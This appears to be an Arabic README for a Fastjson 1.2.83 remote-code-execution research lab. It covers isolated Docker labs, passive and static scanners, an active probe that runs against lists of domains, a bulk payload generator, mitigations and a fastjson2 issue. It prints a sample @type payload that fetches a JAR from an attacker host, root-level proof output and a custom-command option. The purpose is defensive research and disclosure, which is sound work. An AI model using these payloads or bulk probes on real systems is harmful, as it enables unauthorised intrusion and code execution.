مختبر وكشف سلسلة remote-JAR/FD-chain لـ Fastjson @JSONType

يحتفظ هذا المستودع الآن بمساري بحث متميزين لـ Fastjson:

• modern-fd/ هو إعادة البناء الموصى بها والمقتصرة على العلامات فقط لسلسلة 1.2.83 أحادية الجسم لـ Fastjson عبر remote-JAR/وصف الملف على Spring Boot 3 وTomcat المضمّن العادي وJDK 17. يستخدم المستقبل الحرفي الثابت JSON.parseObject(body, BoundEnvelope.class) مع تعطيل AutoType.
• المختبر الأصلي في Docker Compose على المستوى الأعلى يحتفظ بمسار الفئة البعيدة المباشر القديم على JDK 8. وهو قادر على تنفيذ الأوامر وينبغي التعامل معه كإثبات قديم ومعزول وليس كطريقة JDK الحديثة.
• يحتوي scanner/ على كشف سلبي للطلبات/السجلات، وجرد ثابت للقطع الأثرية، ومسبار وصول غير منفّذ للأكواد.

الخلل: يستعلم ParserConfig.checkAutoType عن كل قيمة @type بحثًا عن تعليق @JSONType عبر تنفيذ getResourceAsStream(typeName.replace('.','/') + ".class"). على مجموعات Linux/JDK الحديثة، يمكن لمسبار jar:http عن بُعد أن يترك JAR مخزّنًا مؤقتًا خلف واصف مفتوح؛ ويمكن لمسبارات لاحقة jar:file:/proc/self/fd/N في نفس الجسم إعادة فتحه تحت أسماء فئات صالحة وتهيئة فئة مُعلَّقة. يعمل تركيب 1.2.83 الدقيق مع تعطيل AutoType وعبر DTO ثابت يحتوي على List<Object>. لذلك فإن مجرد الربط ليس تخفيفًا. الشرح الكامل: docs/MECHANISM.md.

النتائج المستخلصة من مراجعة الأمان

غطّت المراجعة المصاحبة للمشروع بأكمله 2,041 صفًا من الاستدعاءات/المُهيّئات الثابتة عبر جميع ملفات Fastjson 1.2.83 الإنتاجية البالغ عددها 193 ملف Java. يعطي الجدول أدناه الأولوية للنتائج الأكثر تأثيرًا؛ وهو ليس ادعاءً بأن كل نشر لـ Fastjson متأثر. يعيد هذا المستودع إنتاج F105 مباشرةً. وتلخّص الإدخالات المتبقية مراجعة المصدر المستقلة والمغلفة والأدلة المختبرية المحدودة.

انظر findings/FINDINGS.md للحصول على وسوم التحقق والمتطلبات المسبقة والنتائج الأدنى ترتيبًا وأولويات المعالجة والحدود السلبية الصريحة.

⚠️ للاستخدام المصرَّح به فقط

هذا المستودع مخصص لـ التعليم والبحث الدفاعي والاختبار المصرَّح به للأنظمة التي تملكها أو يُسمح لك صراحةً باختبارها. يُرجى، عند دعم النشر المضيف للشبكة الداخلية للمختبر الحديث، قصره على 127.0.0.1 فقط؛ فسكربتاته تقود الاختبار بالكامل داخل تلك الشبكة المعزولة. لا يملك المختبر الحديث أي بدائية لتنفيذ العمليات، ويضع فقط علامة ثابتة داخل JVM. أما مختبر JDK 8 القديم فينفذ id ويكتب مخرجه إلى /tmp/PWNED؛ أبقِه معزولًا. لا توجّه الاستغلال القديم أو المسبار النشط إلى أنظمة غير مصرَّح بها.

افحص بيئتك الخاصة

يوفّر دليل scanner/ أربع أدوات Python 3 بدون أي تبعيات (بدون تثبيت pip).

• fjdetect.py — يفحص سلبيًا أجسام طلبات JSON المفكوكة أو سجلات JSON المنظمة بحثًا عن بذور remote-JAR وتسلسلات /proc/self/fd أو /dev/fd.
• fjscan_static.py — يجرد ملفات jars/wars/ears بحثًا عن التركيبة القابلة للاستغلال (محتوى 1.2.83 مُتحقَّق منه وموثَّق × محتوى فئة محمّل Spring Boot الفعلي). ويُبلَّغ بشكل منفصل عن إصدارات 1.2.48–1.2.82 التي تحمل مسبارًا والمرشحين المعتمدين على البيانات الوصفية/أسماء الملفات فقط للمراجعة. مناسب لبوابات CI (رمز خروج 2 عند EXPOSED).
• fjscan_probe.py — فحص وصول نشط وآمن: يطلق @type نحو كَنَري تتحكم فيه (مستمع مدمج أو Burp Collaborator / interactsh) ويربط استدعاء جلب المورد. يعيد مستمعه المدمج 404 فارغًا؛ اضبط المستمعات الخارجية بشكل مكافئ. لا يثبت الاستدعاء تحميل الفئة أو RCE.
• fjpayload.py — يولّد أجسام جلب موارد بعيدة للاختبار اليدوي؛ استخدم فقط مستمعًا فارغًا/404 عندما لا يكون التنفيذ مقصودًا.

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = هدف واحد لكل سطر — إما [METHOD ]URL كاملة أو اسم نطاق مجرد (يُوسَّع عبر --scheme / --target-port / --path)؛ التعليقات التي تبدأ بـ # مسموحة:

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

الخيارات

fjscan_probe.py (المسبار النشط)

fjscan_static.py (الجرد): <paths…> · --threads N (الافتراضي 8) · --json (خرج آلي؛ رمز الخروج 2 إذا وُجد أي EXPOSED).

fjpayload.py (المولّد): <collaborator> · --targets-file/-f <file\|-> (بالجملة) · --port · --token · --wrap · --entry.

ملاحظة حول Collaborator: يقوم مستقبِل jar: في @JSONType بتنفيذ typeName.replace('.','/')، لذا كل نقطة في المضيف تتحول إلى شرطة مائلة — لا يمكن تمرير نطاق فرعي منقّط من Burp Collaborator (abc.oastify.com) عبره (تتراجع الأدوات إلى عنوان IP صحيح + رمز في مسار URL). للحصول على استدعاء داخل Collaborator عام، استخدم --probe-type dns: بدائية java.net.Inet4Address تقبل مضيفًا منقّطًا وتطلق تفاعل DNS (<tok>.<sub>.oastify.com)، مما يؤكد بدائية تحليل Inet4Address + الوصول الصادر. هذا دليل مسبق، وليس إثباتًا للنهاية remote-JAR/FD. انظر scanner/README.md.

مختبر JDK الحديث المقتصر على العلامات (موصى به)

المتطلبات: Docker + Docker Compose، ووصول صادر إلى Maven Central عند البناء الأول (لجلب fastjson / spring-boot-loader / asm).

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

ترسل الحالة الإيجابية جسمًا واحدًا إلى خيط طلب Tomcat مضمّن عادي. مستقبلها الحرفي هو final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). لا يتحقق النجاح إلا عبر الخاصية الثابتة ورمز السجل FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1؛ وما زالت الاستجابة تعيد BoundEnvelope مربوطًا بشكل طبيعي. يحتوي دليل الأدلة على الطلب والاستجابة وبيانات الحاوية الوصفية والسجلات وبيان SHA-256.

تغطي ضوابط التحكم JSON العادي، ومرشحي FD بدون بذرة، وبذرة تليها واصفات مستحيلة، وSafeMode. انظر modern-fd/README.md.

يُظهر إفصاح FearsOff نفس النهاية JAR المحتفَظ بها على JDK 21 باستخدام ذاكرة تخزين مؤقت ثابتة للعملية ومرشح FD واحد لكل طلب. بينما يعيد المختبر الحديث في هذا المستودع إنتاج تركيب JDK 17 أحادي الجسم: البذرة الفاشلة بهدوء ومرشحو FD المحدودون تُحمَل عبر طلب واحد بسياق DTO ثابت. يبقى JDK 21 مُبلَّغًا عنه خارجيًا؛ وليس نتيجة تنفيذ أُنتجت هنا.

مختبر JDK 8 القديم للفئات المباشرة

يبقى مشروع Compose الأصلي على المستوى الأعلى متاحًا لإعادة إنتاج المسار القديم ذي المرحلة الواحدة. وبخلاف modern-fd/، فهو قادر على تنفيذ الأوامر ويجب تشغيله فقط في المختبر المعزول:

make up
make exploit
make down

الخرج المتوقع لـ make exploit:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

إن ClassCastException هي العلامة على أن الربط ليس تخفيفًا: فئة المهاجم تشغّل <clinit> خلال مسبار @type، قبل أن يحاول fastjson تحويلها إلى Dto.

اختلافات المسار القديم

• مسار الفئة المباشرة فقط: تغيير target/Dockerfile إلى JDK 17 يمنع تعريف الاسم المُصاغ القديم هذا ويترك جلبًا. تلك النتيجة لا تختبر أو تخفف من استمرارية /proc/self/fd المنفصلة في modern-fd/.
• أثبت أنها ليست autoType: لا يستدعي الهدف أبدًا setAutoTypeSupport(true) — تحقق من اللافتة على http://127.0.0.1:8080/.
• أمر مخصص: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.

هيكل المستودع

التخفيف

فعّل -Dfastjson.parser.safeMode=true على المسار العادي الخالي من المعالجات، أو استخدم نسخة البائع com.alibaba:fastjson:1.2.83_noneautotype عندما لا يكون الترحيل الفوري ممكنًا، ودقّق في مثيلات AutoTypeCheckHandler المثبتة. قيّد الوصول الصادر لـ JVM؛ وانقل تحليل البيانات غير الموثوقة بعيدًا عن Fastjson 1.x؛ ونبّه على بذور @type البعيدة عبر JAR ومرشحي /proc/self/fd أو /dev/fd داخل الطلب الواحد وعبر الطلبات المرتبطة. الربط عبر DTO وJDK 9+ ليسا تخفيفًا كاملًا للتركيبة الحديثة.

fastjson2 — مشكلة منفصلة في الإعداد الافتراضي

fastjson2/ هو مختبر ثانٍ مستقل. لا يحتوي fastjson2 على مسبار الموارد @JSONType الخاص بـ fastjson 1.x. لكنه يسمح لِـ @type يتحكم به المهاجم بالوصول إلى ClassLoader.loadClass() مع تعطيل autoType، كلما تضمن مسار التحليل نوعًا متعدد الأشكال — لأن مُنشئ ObjectReaderSeeAlso يثبّت SupportAutoType بشكل قسري، وأي خطأ في seeAlso يمر إلى تحليل autoType كامل قبل تنفيذ فحوصات قابلية الإسناد وDataSource/RowSet.

المحفزات هي تعليقات نمذجة عادية — @JSONType(seeAlso=)، وJackson @JsonSubTypes (يُحترم لأن useJacksonAnnotation افتراضيًا true)، و@JsonTypeInfo، والأنواع المختومة. تحت Spring Boot fat jar يحل محمّل سياق الفئات أسماء jar:http:، لذا تُجلب الفئة من الشبكة ويُشغَّل مُهيّئها الثابت.

أُعيد إنتاجها على fastjson2 2.0.62 (أحدث إصدار) و2.0.57، على JDK 8. safeMode=true يمنعها؛ وJDK 17 يخفضها إلى SSRF؛ وautoTypeFilter(...) لا يحمي. أُفصِح عنها من قبل Chaitin (长亭)، حوالي 2026-07-25 — وليست نتيجةً من نتائج هذا المستودع. لدى المطوِّر عمل تحصين مفتوح في PR #7703 (يحل محل المغلق #7695) يرفض : و! في أسماء الأنواع؛ لا يحتوي أي إصدار مُصدَر عليه — 2.0.62 يسبق كليهما.

make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

الاعتمادات والمراجع

• الإفصاح الأصلي والمنشور التقني: Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (21 يوليو 2026). يكشف عن نفس آليتي JDK 8 للفئة المباشرة وJAR المحتفَظ بها /proc/self/fd الحديثة المعاد بناؤهما هنا.
• نشرة المطوِّر: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83. يبلّغ عن قابلية الوصول عبر واجهة برمجة معنونة والتحقق عبر Spring Boot 2.x–4.x وJDK 8/11/17/21. تلك المصفوفات الأوسع للإصدارات/بيئات التشغيل مُبلَّغ عنها من المصب؛ بينما يبقى إثبات التشغيل في هذا المستودع هو Fastjson 1.2.83 على مساري JDK 8 وJDK 17 الموثقين.
• إثبات المفهوم العام وتقنية @JSONType / اسم jar الداخلي في URL: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. يعيد attacker/Gen.java تنفيذ تلك التقنية لهذا المختبر.
• تقارير سلسلة FD على JDK الحديث: وفّرت مقالة WeChat وتقرير Cnyes المفصل الأسبق فرضية JAR المحتفَظ بها /proc/self/fd. وعُوملت كتقارير خارجية، وليست كإثبات تشغيل مستقل.
• تنفيذ Linux FD العام: ضيّق DmTomHL/fastjson-1.2.83-gadget-rce فجوة إعادة البناء. روجعت شيفرته القادرة على الأوامر مراجعة ثابتة ولم تُنفَّذ؛ يستخدم modern-fd/ فئات مقتصرة على العلامات كُتبت بشكل مستقل ونقطة نهاية Tomcat عادية بنمط DTO ثابت.
• إفصاح autoType في fastjson2: ، حوالي 2026-07-25. مختبر هو إعادة إنتاج مستقلة لذلك الإفصاح، وليس نتيجة أصلية من هذا المستودع. خيط المتابعة: (فتحه مستخدم، )؛ تحصين المطوِّر في / المغلق .

يغلف هذا المختبر وأدوات scanner/ تلك النتائج في بيئة اختبار قابلة لإعادة الإنتاج وفحوصات دفاعية. هذا المشروع ليس تابعًا للباحثين أعلاه ولا يحظى بتأييدهم.